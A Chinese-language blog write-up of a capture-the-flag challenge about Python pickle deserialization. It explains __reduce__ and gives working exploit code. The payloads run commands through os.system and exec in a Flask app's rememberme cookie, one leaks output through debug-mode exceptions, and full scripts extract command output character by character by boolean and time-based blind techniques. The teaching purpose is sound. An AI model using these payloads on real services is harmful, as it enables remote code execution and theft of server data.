CTF-python pickle反序列化

前言

今天朋友叫我帮忙看了一道ctf题目,刚好又有空就帮忙看了下,过程比较有趣,就记录下来,是一道关于python反序列的题目,之前没玩过python的反序列化,因此就记录下

python反序列化基础

python反序列通常会用Pickle组件进行操作,和python中的json转换一样,使用loadsdumps2个函数实现反序列化和序列化操作

import pickle

text = 'helloworld'

sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)

当然和php一样不光能序列化字符串,也可以序列化数组,字典,类
数组

字典

import pickle

class tmp():
	text = "123"

text = tmp()
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)

这里着重注意下类,可以看到我们在序列化的时候,类里面的成员text的值并没有保存在序列化字符串中,那么同样在解码的时候并不能有效获取到我们存储的数据

那么要让他带上我们的参数,则需要用到__reduce__这个魔术方法,这个魔术方法简单的来说可php的__wakeup差不多,就是在被序列化的时候告诉系统如何运行,他的返回值第一个参数是函数名,第二个参数是一个tuple,为第一个函数的参数
稍微有点区别在于我们能够控制里面的内容,而php的__wakeup则是目标环境写死的,说明python反序列化更加自由一些,

import pickle

class tmp():
	text = "123"

	def __init__(self, text):
		self.text = text

	def __reduce__(self):
		return (tmp,("helloworld",))

text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

运行后可以看到helloworld出现在了序列化字符串中

当然我们可以让他执行系统命令,下面的测试在python3下可以,在python2下不行

import pickle
import os

class tmp():
	text = "123"

	def __reduce__(self):
		return (os.system,("id",))

text = tmp()
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

可以看到在打印结果的时候报错了,找不到text成员变量,但无所谓已经表明我们的命令已经正常执行了

这里如果是类的环境下又有个坑,在知道成员变量名的前提下是很轻松的能够成功执行反序列化操作的,但是如果类名和目录结构不匹配的话,我们拿到一窜序列化字符串,运行时候会报错,后面讲题目的时候会详细说

题解

这一道题拿到手时,朋友说是一个python写的系统,并且存在反序列化漏洞,就少了前期的探测过程

当然探测的时候,通过任意注册个用户进入dev目录下,能获取一些提示,login的remember功能使用了pickle组件

尝试随意注册个用户后登录,勾选上remember

在请求中一个比较重要的cookie叫做rememberme,即可获取到手

勾选了rememberme后登出后再次访问login目录会自动登录,登出操作只删除了cookie中的session凭证,没删除rememberme字段凭证,所有在登录时会检测rememberme字段内容,进行登录,此时修改rememberme的内容,即可产生报错

报错了后查看,因为开启了flask的debug模式,可以查看报错的结果细节,可以看到将rememberme字段先进行base64解码,然后再进行反序列化操作

拿到了这个字符串第一想法是将原有的字符串进行个反序列化查看下它是什么格式

结果如上图所示,报错了,百度了很多,最后导致报错的原因归纳为2个方向,第一目录结构有问题,因为题目是flask起的web,肯定是app.py这个入口脚本去调用子模块的脚本,这就是为啥poc中会有project.auth这行字段,第二个是类名在系统中找不到,类名是Email,因此我们得加上,最后就成了

启动flask后查看,成功的获取到了反序列化的结果

接下来就是构造命令执行的poc,众所周知flask框架使用print这些都无法回显的,它是基于模板的一个展示,所以就像网上的文章一样,能执行命令但是没有回显就反弹shell

但是本环境中,题目的服务器不出网,poc打过就卡住了,shell也接收不到

在python中有一个函数叫做exec,这个有点像php的eval一样,就是将变量字符串当做脚本语言执行,并且在这个环境下通过前期探测漏洞点时就发现系统存在开启了flask debug的模式,于是想着是否能够将回显进行报错回显

于是最终的poc

import pickle
import base64
import os

class Email():
	email = "admin@admin.com"

	def __reduce__(self):
		return (exec,("raise Exception(__import__('os').popen('id').read())",))

def login():	
	poc = base64.b64encode(pickle.dumps(Email()))
	print(poc)

题目中将该poc发送过去

在根目录下找到flag

import pickle
import base64
import os

class Email():
	email = "admin@admin.com"

	def __reduce__(self):
		return (exec,("raise Exception(__import__('os').popen('ls /').read())",))

def login():	
	poc = base64.b64encode(pickle.dumps(Email()))
	print(poc)

接下来修改成cat /flag即可

其他解法

在做这道题过程中并没有上面所见到的那么丝滑顺利,一开始我并没有想到使用报错信息输出的方式来回显,但我发现如果语句执行成功会执行失败会返回不一样的错误信息
比如执行成功会返回object has no attribute email

执行失败会返回其他的信息

至于这个语句构造如下

import pickle
import base64
import os

class Email():
	email = "admin@admin.com"

	def __reduce__(self):
		return (exec,("print('yes' if 100 > 10 else aa.bb)",))

def login():	
	poc = base64.b64encode(pickle.dumps(Email()))
	print(poc)

那么是不是if的判断语句可以修改为命令回显结果,然后进行爆破呢,答案是肯定的
先通过构造语句执行命令,并判断是否等于

exec("import os;result=os.popen('whoami');res=result.readlines();r=','.join(res);print(r);print('yes' if r=='mi0\\n' else aa.bb)")

成返回yes

下一步使用切片的方式一个个读,上读取执行ls /命令的脚本

import pickle
import base64
import os
import requests

url = "http://1.2.3.101:5000/login"
cmd = "ls /"

result = ""
class Email():
	email = "admin@admin.com"
	cmd = "whoami"
	index = 0
	word = "t"
	def __init__(self, cmd='whoami', index=0, word='t'):
		self.cmd = cmd
		self.index = index
		self.word = word

	def __reduce__(self):
		return (exec,("import os;result=os.popen('" + self.cmd + "');res=result.readlines();r=','.join(res);print(r);print('yes' if r[" + str(self.index) + "]=='" + str(self.word) + "' else aa.bb)",))


poc = base64.b64encode(pickle.dumps(Email()))


word = 'apbcdefghijklmnoqrstuvwxyz0123456789!'
lenght = len(word)

for i in range(0,100):
	for j in range(0, lenght):
		print("word:" + str(word[j]))
		r = ""

		if(j == lenght - 1):
			tmp = Email(cmd,str(i),"\\n")
			poc = base64.b64encode(pickle.dumps(tmp))
			cookies={"rememberme": poc}
			headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
						"cookie":"rememberme="+ poc.decode()}
			r = requests.get(url,headers=headers)
			# print(r.text)
			if('NoneType' in r.text):
				result = result + "[换行]"
				print("[+]" + result)
				break

		else:
			tmp = Email(cmd,str(i),str(word[j]))
			poc = base64.b64encode(pickle.dumps(tmp))
			cookies={"rememberme": poc}
			headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
						"cookie":"rememberme="+ poc.decode()}
			r = requests.get(url,headers=headers)
			# print(r.text)
			if('NoneType' in r.text):
				result = result + word[j]
				print("[+]" + result)
				break



看看效果运行ls /

效果不错,就是有点慢,改进成多线程可能会好点

那么获取flag就是修改命令为cat /flag即可

无报错回显解法

其实到这里就很像sql注入的盲注了,上面那一步是bool型盲注,如果关闭了报错,是不是可以使用基于时间盲注呢

尝试下先修改exec的,运行后能够明显感受到延时

exec("import os;import time;result=os.popen('whoami');res=result.readlines();r=','.join(res);print(r);print(time.sleep(2) if r=='mi0\\n' else 1)")

那么写出脚本

import pickle
import base64
import os
import requests

url = "http://1.2.3.101:5000/login"
cmd = "ls /"

result = ""
class Email():
	email = "admin@admin.com"
	cmd = "whoami"
	index = 0
	word = "t"
	def __init__(self, cmd='whoami', index=0, word='t'):
		self.cmd = cmd
		self.index = index
		self.word = word

	def __reduce__(self):
		return (exec,("import os;import time;result=os.popen('" + self.cmd + "');res=result.readlines();r=','.join(res);print(r);print(time.sleep(3) if r[" + str(self.index) + "]=='" + str(self.word) + "' else 1)",))


poc = base64.b64encode(pickle.dumps(Email()))


word = 'apbcdefghijklmnoqrstuvwxyz0123456789!'
lenght = len(word)

for i in range(0,100):
	for j in range(0, lenght):
		print("word:" + str(word[j]))
		r = ""

		if(j == lenght - 1):
			tmp = Email(cmd,str(i),"\\n")
			poc = base64.b64encode(pickle.dumps(tmp))
			cookies={"rememberme": poc}
			headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
						"cookie":"rememberme="+ poc.decode()}
			# print(poc)
			try:
				r = requests.get(url,headers=headers,timeout=2)
			except:
				result = result + "[换行]"
				print("[+]" + result)
				break

		else:
			tmp = Email(cmd,str(i),str(word[j]))
			poc = base64.b64encode(pickle.dumps(tmp))
			cookies={"rememberme": poc}
			headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36",
						"cookie":"rememberme="+ poc.decode()}
			# print(poc)
			try:
				r = requests.get(url,headers=headers,timeout=2)
			except:
				result = result + word[j]
				print("[+]" + result)
				break

同样获取到了结果

参考连接

https://blog.csdn.net/weixin_45669205/article/details/116274988

https://xz.aliyun.com/t/7320#toc-3

https://blog.csdn.net/HBohan/article/details/121178205

posted @ 2022-07-05 20:38  sijidou  阅读(4816)  评论(1编辑  收藏  举报